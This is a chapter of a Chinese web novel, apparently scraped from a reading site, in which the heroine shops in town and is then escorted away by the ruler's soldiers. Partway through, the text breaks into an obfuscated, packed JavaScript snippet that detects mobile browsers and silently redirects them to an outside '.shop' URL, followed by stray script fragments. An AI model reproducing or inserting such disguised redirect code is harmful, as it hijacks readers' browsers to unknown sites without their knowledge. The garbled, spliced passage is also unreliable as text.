文趣网 > 其他小说 > 此花不寂 > 4. 第 4 章
    “西西、夭夭、宁宁她们一直想找我们玩儿,我都看见她们对我使眼色了!”

    余幼仪瘪着嘴,在马车里上蹿下跳,忿忿不平。

    “就是初元宴比较正式,我们的言行举止都受到监视,打招呼也不方便……”她泄了气,整个人趴在车窗边作一条咸鱼。

    莳花挽着袖子抿了口茶,乜她一眼道:“跟我待一块委屈你了?”

    余幼仪忙弹起来,说:“才不是,是沈栖影那厮太烦,反复骚扰姐姐你,实在是别有居心!”

    莳花顺势点点头,也不说反驳的话,不然这厮更要跳脚,能跟她论上三日“榜一有多想扼杀潜在榜一”。

    她抿了唇,瞥向窗外。

    泽地是水之乡,一年到头雨下个不停,开了窗,空气中都弥漫着层层水雾与潮湿的气息。

    她初来这里,淋了第一场绵延不绝的雨后,便不再有任何不适,宛若生来就属于这里,熟悉这片大陆的一草一木。

    她伸出手去接,雨水轻柔又淅淅沥沥,淋过她的柔荑,擦过干净的指尖,最后滑入尘土。

    木棍支起窗子,窗外是不绝的市井闲话。

    莳花收回视线,淡淡地倚着窗棱。

    ·

    回到余府后,补水时间到,她浸入水中,开始思考今日的事。

    关于榜一大姐,她没什么好说的,目前并未发现她是否包藏祸心。

    关于淑夫人,她有些惶惶不安。

    白日里那阴冷怨毒的眼神始终像一条滑腻的蛇般吐着信子,缠绕在她身上,爬过她的皮肤,等候时机给予致命一击。

    难道……果真欠了八百万没还?

    若真是如此,她就是去青楼做花魁卖身也还不了那么多钱啊!

    她摩挲着下巴,一双澄明的眸子盯着水中自己的倒影。

    或许……她是在透过自己,看着别的什么人呢?

    莳花把所有跟自己有关联的人物都盘了一遍。

    远在天边、早已断了的前夫哥,已逝的爹娘,身边的姨母姨父、幼仪,还有只见过两面的“ABB”式三姐妹……

    她的眼前浮现出一张巨大的人脉网,枝头连着的人却屈指可数。

    在排除所有人后,只剩下了未曾谋面的父母。

    难道是爹的桃花债?还是娘的情敌?

    莳花揉揉额头,有些头痛。

    她扬手时,一串水珠跟着被带起来,滑过藕臂,再度融入池水。

    她摇摇头,化作一朵莲,啥也不想遁入虚空了。

    ·

    莳花在闭关七□□着自己发愤图强完成近期的稿子后,准备出门去一趟御景楼交作业。

    原本余幼仪死缠烂打说什么也要跟着去,最后被余夫人以“头脑简单、行事莽撞”为由强行扣下关在屋内做女工了。

    余幼仪当时嚷着为什么姐姐能出去她却不能,余夫人说姐姐比你长两岁,心智却比你长了二十岁。

    纵使她一哭二闹三上吊也没法。

    莳花可怜她,应了带玉露糕回来给她,小妹妹这才作罢。

    ·

    恰是雨后初霁,地面还有些潮湿,一眼望去似嵌了数面澄澈的镜子。

    街道上散发着泥土的气息,浑厚浓重。

    她携着一卷稿纸,快步穿行于人潮间,步伐轻快,步步生莲。

    密黑的发间,那支莲花钗浅浅摇动一池黑云,欲说还休。

    软风和煦地拂过幂篱,偶尔掀起纱的一角,又迷蒙不真切,使人欲要一探究竟,却又望而却步。

    她交过稿子后,此次来却没见着楼主,她的编辑大大,于是先买了答应好的玉露糕,接着转到首饰店看了看。

    她看到一支木簪子,尾端俏皮地跟了根小胡萝卜,做工算得上精巧。

    思及幼仪的真身是只可爱的兔子,兔子爱吃胡萝卜,思忖再三,她还是把这根簪子买了下来。

    银子-3。

    她走出簪子铺,便有一堆商贩围了上来,堵得水泄不通。

    “女郎,我这处新到了几匹成色上好的布,您看看?”

    “这位女郎,我家的镯子品质可谓是上上乘,童叟无欺!”

    “哎呀你们别挤,女郎先看看我们家的……”

    莳花众星拱月似的立在大圈圈中间,看向这些挤破了脑袋也想往她身边凑的人,有些汗颜。

    这家偌大的成衣首饰阁光顾的客人实在太少,无他,价格太贵众人嫌。

    于是这些商贩们乍一看见她这个初来乍到的冤大头,如同饿虎们见到了羊。

    听着每一张嘴巴吐出的都是“女郎买一个吧”“女郎买一个吧”,莳花站在那里,平白地有点头晕。

    于是,她决定使出杀手锏。

    “免费吗我穷逼一个。”

    商贩们面面相觑,都在彼此眼中看到了坚定的信念,还是紧咬着不放松。

    莳花顿了顿,继续接上:“刚刚那支簪子花光了我这辈子所有的积蓄,既然你们同属一个东家,那么买一赠一我还可以考虑一下。”

    “喏,你们是打算赠与我一件成衣还是一双鞋子?”她厚着脸皮问。

    商贩们又面面相觑。

    这是可以附带赠送的吗?一支簪子附赠一件衣服或一双鞋,她怎么不去抢!

    众人第三次面面相觑,齐步向后退了一大截。

    莳花清丽的脸上挂着浅浅的笑容,拨开人群,毫无留恋地离开了。

    直到走出来时,她才松了口气,方才人堆在那里,可供呼吸的空间实在狭小,她差点一口气没提上来就去了。

    扶正幂篱,她迈开长腿翻身上马,一路游西湖似的到了余府正门前。

    她方欲下马时,身下这匹紫叱拨甩了甩毛发,不耐地扬起前蹄,吐出一口长气。

    莳花安抚性地摸了摸它黝黑的发,问:“追雪,怎么了?”

    一匹通体黑得发亮的骏马,却名为“追雪”,也是不可及的意思。

    追雪颇具人性,却没法说话,莳花没急着下来,在马上听到了远处贴地而来的重重声响。

    愈来愈近,马蹄声踏破尘土,低沉又不乏气势。

    莳花跳下马来,取下买来的糕点与簪子,凝目朝远处望去。

    刺眼的午后日光里,一队人马由远及近,伴着浊浊的踢踏声,逐渐显现出轮廓来。

    为首的男子一身月牙白色,待临近她跟前时,抬手比了个手势,接着身后的一重人马堪堪停下。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608531|205828||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    莳花被这帮军士围住时,不解之意上心头,但面上不显,只等那人开口。

    着月牙白衣裳的青年面上挂着温润的笑意,但看四周密不透风的人墙,却又透着一番“先礼后兵”之意。

    只听得他开口道:“莳女郎,跟我们走一趟吧。”

    他的语气彬彬有礼,并不含有任何威逼的意思,仿佛只是请人到某处做客。

    可莳花觉得哪哪都怪透了,这架势像是自己犯了什么事,来缉拿犯人一样。

    她心下暗忖,自己半生吃斋念佛,为人温和有礼,应当无甚仇家,唯一能联想到的,就是那日初元宴上那什么淑夫人对自己投来的怨恨且愤慨的眼神。

    应当与她有关。

    况且,此人怎么越看越眼熟,总觉得在哪见过……

    莳花盯着他温和含笑的脸,仔细在记忆里搜寻了一番,最终找到了答案。

    在“ABB”三姐妹拿来的那劳什子“名木榜”上见过,此人排的是第二名。

    君主走狗、宫廷保安梅青缭的副手——简朝岁。

    她心下了然,侧首望向正迈出余府大门,嘴巴大张着能吞下一颗鸭蛋的妹妹,再看了看这密密麻麻将自己围起来的人群,启唇说道:“简副使,可容我与家妹交代几句话?”

    她语气平静,分辨不出什么情绪,简朝岁怔了怔,旋即笑道:“女郎好生聪敏,想必也已经知晓了我们此番来意。某不是不讲理的人,女郎且去,某在这里静候。”

    说罢,拱了拱手,一派和气。

    莳花揪着追雪身上的毛,心里想,不,我不知道你们什么来意,不过你说话文绉绉的,让我觉得恶心。

    她松开爱马,转身朝余幼仪走去,手里提着糕点。

    小姑娘迎上来,面上犹带着惊恐之色,嗫嚅道:“姐姐,他们……”

    莳花拍拍她的肩,柔和道:“安心,我给你带了你爱吃的玉露糕,还有一个小礼物,你且在家中等我回来。”

    都什么时候了,还提糕点?

    余幼仪面上焦急,复道:“那些人来势汹汹,恐怕不是什么好事,姐姐你别跟他们去。”

    女子闻言,没有即刻应答,抬眸望了望余府。

    门边只三两个伶仃的小厮,也无人匆匆转身进府通报,想来是在她出门期间,余老爷和余夫人也双双出了门,无一在府内。

    余幼仪察觉到她沉思的目光,忙道:“阿爹阿娘都出门了,可是娘说会回来做水煮鱼给我们吃,待他们回来了,我就……”

    莳花打断她匆忙的话语,叮嘱道:“若是姨父姨母回来了,你且告诉他们别担心,耐住性子,千万别来寻我,与他们一道在家中好好等着。”

    瞧见她仍心神不宁的模样,莳花凑近了些,用手遮掩着,低语道:“不过是主君的爪牙罢了,我既没犯错,他也掀不起什么风浪。”

    接着她起身摆正身姿,弯起唇角道:“记着了,我会在傍晚前回来吃姨母做的水煮鱼,玉露糕虽不腻,你也别贪嘴。”

    随后,莳花侧身,摆了摆手,不疾不徐地走回去。

    余幼仪在原地没动,眼角已然含了泪,却也不敢不听姐姐的话,只目送她被人带走,最后提着糕点迟疑地往府内走去。